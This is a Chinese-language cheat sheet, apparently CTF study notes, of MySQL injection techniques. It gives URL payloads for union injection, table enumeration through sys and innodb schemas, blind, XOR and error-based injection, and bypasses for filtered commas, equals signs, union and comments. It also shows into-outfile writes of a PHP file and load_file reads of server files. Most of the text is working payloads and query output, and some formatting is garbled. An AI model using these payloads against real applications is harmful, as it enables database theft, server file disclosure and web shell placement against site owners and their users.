堆叠注入

H@GB}_]B1VA0Y`R~DV(TA~3.png
set 用于设置变量名和值
prepare 用于预备一个语句,并赋予名称,以后可以引用该语句
deallocate prepare 用来释放掉预处理的语句
这里用 16进制来表示 user表 赋值给 变量a
然后预备一个名为 execsql 的语句 ,然后执行
堆叠注入的使用条件非常有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持多条slq语句时才能使用。
利用 mysqli_multi_query() 就可以支持多条语句的执行
实际中,PHP为了防止sql注入机制,往往使用调用数据库函数mysqli_query 函数时,其只能执行一条语句,分号后内容不好会执行。

DNSLOG注入

Dnslog在SQL注入中的实战

MySQL数据库中的Innodb引擎注入

information_schema 简单来说就是存储这其他数据数据库、数据表、字段等信息的数据库
MySQL5.7之后,新增了 innodb_table_stas 和 innodb_index_stats 两张日志表,其中记录着表、键的信息

  1. mysql> select * from mysql.innodb_table_stats;
  2. mysql> mysql> select * from mysql.innodb_index_stats;
  3. mysql.innodb_table_stats where database_name=database();
  4. +------+
  5. | flag |
  6. +------+
  7. | 1 |
  8. | flag |
  9. +------+
  10. 2 rows in set, 1 warning (0.00 sec)
  11. mysql> select * from flag where flag=1 union select group_concat(table_name) from mysql.innodb_index_stats where database_name=database();
  12. +----------------+
  13. | flag |
  14. +----------------+
  15. | 1 |
  16. | flag,flag,flag |
  17. +----------------+
  18. 2 rows in set, 1 warning (0.00 sec)

sys

由于performance_schema过于发杂,所以MySQL在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

select query from sys.statement_analysis;

绕过 inforamtion_scchema

paylaod

 ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
 ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+

获取第一列字段名

?id=-1' union all select*from (select * from users as a join users b)c--+

获取后续字段名

?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+

无列名注入

AS别名
KJMG[AL[R8~O{3SS]SE]FEK.png

ascii比较注入

CAY{KA4]15%UESDS{{239ID.png

异或注入

and,or,||,&&被过滤的情况下

mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='s')^1;
Empty set (0.00 sec)

mysql> select * from ctf_test where user='2'^(mid(user(),1,1)='r')^1;
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

防御手段绕过

union select , 被过滤

利用 join

select * from table1 where id=2 union select * from(select 1)a join (select 2)b;

,被过滤

利用 from…for

select * from table1 where id=2 and if(mid((select table1())from 1 for 1)='r',1,0);

limit中逗号被过滤

利用 limit…offset

mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;
+------------+
| table_name |
+------------+
| admin      |
+------------+
1 row in set (0.00 sec)

mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 1;
+------------+
| table_name |
+------------+
| ctf_test   |
+------------+
1 row in set (0.00 sec)

等号被过滤

like、regexp、<>
盲注时也可以用 ^、+、-等
还可以用 locate、position、instr三种函数进行判断

mysql> select * from ctf_test where user='2' and if(locate('ro', substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

mysql> select * from ctf_test where user='2' and if(position('ro' IN substring(user(),1,2))>0,1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)

mysql> select * from ctf_test where user='2' and if(instr(substring(user(),1,2),'ro')>0,1,0);
+------+--------------+
| user | pwd          |
+------+--------------+
| 2    | flag{OK_t72} |
+------+--------------+
1 row in set (0.00 sec)
  1. locate(subStr,string) :函数返回subStr在string中出现的位置
  2. POSITION()函数返回字符串中第一次出现的子字符串的位置。
  3. INSTR(STR,SUBSTR) 在一个字符串(STR)中搜索指定的字符(SUBSTR),返回发现指定的字符的位置(INDEX);

    数字型过滤 and or

    select * from admin where id=1/(select sleep(3));
    

    md5注入

    select * from admin where username = admin pass ='".md5($password,true)."'
    

    substr被替换

    mid,left,right,substring,lpad,rpad 来替代

    在没有列名的情况下检索数据

    在没有列名的情况下检索数据 ```sql mysql> SELECT FROM USERS WHERE ID =1; +——+—————+—————+ | id | username | password | +——+—————+—————+ | 1 | 123 | Dumb | +——+—————+—————+ 1 row in set (0.00 sec) mysql> SELECT FROM USERS WHERE ID = ((select 1,123,’Dumb’) <= (select * from users limit 1)); +——+—————+—————+ | id | username | password | +——+—————+—————+ | 1 | 123 | Dumb | +——+—————+—————+ 1 row in set (0.00 sec)

mysql> SELECT FROM USERS WHERE ID = ((select 2,123,’Dumb’) <= (select from users limit 1)); Empty set (0.00 sec)

<a name="3yfTk"></a>
## load_file & into_outfile
<a name="I75ki"></a>
### into_outfile
<a name="HPg9W"></a>
#### 通过union写入
```sql
select * from flag where flag=1 union select '<?php phpinfo();?>' into outfile '/var/lib/mysql-files/2.php';

通过 fileds terminated by 写入

select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e;

这里限制条件是 至少需要2个字段

通过LINES TERMINATED BY写入

select * from flag where flag=1 into outfile '/var/lib/mysql-files/3.php' lines terminated by 0x3c3f70687020706870696e666f28293b3f3e;

通过LINES STRTING BY写入

select * from flag where flag=1 into outfile '/var/lib/mysql-files/4.php' lines starting by 0x3c3f70687020706870696e666f28293b3f3e;

load_file

select * from flag where flag=1 union select load_file('/var/lib/mysql-files/4.php');

利用报错注入来load_file

select * from flag where flag=1 and updatexml(1,concat(0x7e,(select load_file('/var/lib/mysql-files/4.php')),0x7e),1);

利用时间盲注来load_file

select * from flag where flag=1 and if(mid((select load_file('/var/lib/mysql-files/4.php')),1,1)='<',sleep(3),1);

利用load_file扫描文件是否存在

select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/4.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~0~'
mysql> select * from flag where flag='' and updatexml(0,concat(0x7e,isnull(LOAD_FILE('/var/lib/mysql-files/1.php')),0x7e),0);
ERROR 1105 (HY000): XPATH syntax error: '~1~'

通过is_null函数的返回值来确定,如果是1的话代表文件不存在,如果是0的话文件存在。此方法可配合burp进行敏感文件的FUZZ。

绕过未知字段名

waf拦截了information_schema、columns、tables、database、schema等关键字或函数

select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1;

union 被拦截

 select * from users where id=1 and (select * from (select * from users as a join users as b);
 select * from users where id=1 and (select * from (select * from users as a join users as b using(id))as c);                                    
 select * from users where id=1 and (select * from (select * from users as a join users as b using(id,username))as c);

AS别名

比较符号绕过

between a and b:返回a,b之间的数据,不包含b。
greatest()、least():(前者返回最大值、后者返回最小值)

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

与64比较,当页面正常返回时说明真实的ascii码小于或等于64

注释符被过滤

hex编码
SELECT password FROM Users WHERE username = 0x61646D696E

char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

%2527
主要绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。

参考

对MYSQL注入相关内容及部分Trick的归类小结 神仙文章
sql注入中的其他姿势